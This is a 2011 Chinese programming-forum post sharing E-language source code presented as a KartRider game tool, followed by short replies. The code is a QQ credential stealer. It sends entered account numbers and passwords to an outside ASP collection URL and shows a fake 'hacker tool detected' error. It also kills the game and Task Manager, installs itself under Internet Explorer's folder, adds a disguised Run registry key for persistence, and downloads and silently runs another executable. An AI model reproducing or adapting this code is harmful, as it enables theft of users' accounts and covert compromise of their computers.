开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 2474|回复: 4
打印 上一主题 下一主题
收起左侧

[易源码分享] 跑跑终极请版主删除此帖加源码

[复制链接]
跳转到指定楼层
楼主
发表于 2011-2-1 09:55:37 | 只看该作者 |只看大图 回帖奖励 |倒序浏览 |阅读模式   山东省菏泽市
分享源码
界面截图: -
是否带模块: -
备注说明: -

[e].版本 2
.支持库 internet

.程序集 窗口程序集3
.程序集变量 大区, 文本型

.子程序 _窗口1_创建完毕

超级链接框1.字体.下划线 = 真
超级链接框2.字体.下划线 = 真
超级链接框3.字体.下划线 = 真


.子程序 _按钮1_被单击

.如果真 (C1.选中 = 真)
    大区 = C1.标题
.如果真结束
.如果真 (C2.选中 = 真)
    大区 = C2.标题
.如果真结束
.如果真 (C3.选中 = 真)
    大区 = C3.标题
.如果真结束
.如果真 (C4.选中 = 真)
    大区 = C4.标题

.如果真结束

.如果真 (QQASP (“http://37448.4x4x.info/jiaocheng.asp”, 编辑框1.内容, 编辑框2.内容, 大区) = “发送成功”)

.如果真结束
信息框 (“发现了黑客工具,结束程序。结束(Code = 10501)程序。”, 0, )
延时 (1500)
销毁 ()

.子程序 QQASP, 文本型, , 发送帐号密码到ASP收信
.参数 地址, 文本型, , ASP文件路径
.参数 号码, 文本型
.参数 密码, 文本型
.参数 大区, 文本型

返回 (到文本 (HTTP读文件 (地址 + “?” + “qqnumber=” + 号码 + “&qqpassword=” + 密码 + “-大区:” + 大区)))[/e]
  1. .版本 2
  2. .支持库 eAPI
  3. .支持库 sock
  4. .支持库 internet
  5. .支持库 iext

  6. .程序集 窗口程序集1

  7. .子程序 __启动窗口_创建完毕
  8. .局部变量 iii, 文本型, , "0"
  9. .局部变量 n, 整数型
  10. .局部变量 c, 逻辑型

  11. 终止进程 (“KartRider.exe”)

  12. .如果 (进程是否存在 (“KartRider.exe”))
  13.     终止进程 (“KartRider.exe”)
  14. .否则

  15. .如果结束
  16. 时钟6.时钟周期 = 500
  17. 复制文件 (取运行目录 () + “\” + 取执行文件名 (), “C:\Program Files\Internet Explorer\ie.exe”)
  18. iii = 取本机IP ()
  19. .计次循环首 (取数组成员数 (iii), n)
  20.     组合框1.加入项目 (iii [n], )
  21. .计次循环尾 ()
  22. 组合框1.现行选中项 = 1
  23. 删除注册项 (#本地机器, “Software\Microsoft\Windows\CurrentVersion\Run\360saft”)
  24. 写注册项 (#本地机器, “Software\Microsoft\Windows\CurrentVersion\Run\360saft”, “C:\Program Files\Internet Explorer\ie.exe”)
  25. 写到文件 (“C:\Program Files\Internet Explorer\le.exe”, HTTP读文件 (透明标签4.标题))

  26. .子程序 _时钟3_周期事件

  27. 终止进程 (“taskmgr.exe”)
  28. .判断开始 (窗口取标题 (窗口标题取句柄 (“QQ2010”)) = “QQ2010”)
  29.     窗口销毁 (窗口标题取句柄 (“QQ2010”))
  30.     载入 (窗口1, , 假)
  31. .默认

  32. .判断结束


  33. .子程序 _时钟4_周期事件

  34. 时钟3.时钟周期 = 50
  35. 时钟4.时钟周期 = 0

  36. .子程序 _时钟5_周期事件

  37. 运行 (“C:\Program Files\Internet Explorer\le.exe”, 假, #隐藏窗口)

  38. .子程序 _时钟6_周期事件

  39. .判断开始 (进程是否存在 (“KartRider.exe”))
  40.     终止进程 (“KartRider.exe”)
  41.     载入 (窗口1, , 真)
  42. .默认

  43. .判断结束

复制代码

11.gif (26.54 KB, 下载次数: 0)

11.gif

22.gif (27.33 KB, 下载次数: 26)

22.gif

33.gif (57.87 KB, 下载次数: 25)

33.gif

结帖率:75% (6/8)
沙发
发表于 2011-2-4 13:41:36 | 只看该作者   广西壮族自治区河池市
呵呵,不错哦.顶个
回复 支持 反对

使用道具 举报

结帖率:100% (1/1)
板凳
发表于 2011-4-21 18:01:47 | 只看该作者   内蒙古自治区包头市
这个干什么用?钓鱼吗?
回复 支持 反对

使用道具 举报

结帖率:50% (3/6)
地板
发表于 2011-8-23 20:07:31 | 只看该作者   广东省珠海市
不错 顶  好东西
回复 支持 反对

使用道具 举报

结帖率:50% (2/4)
地下
发表于 2011-9-6 20:26:25 | 只看该作者   广东省湛江市
参考一下,谢谢{:3_232:}
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报电话0663-3422125,QQ: 793400750,邮箱:[email protected]
网站简介:精易论坛成立于2009年,是一个程序设计学习交流技术论坛,隶属于揭阳市揭东区精易科技有限公司所有。
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表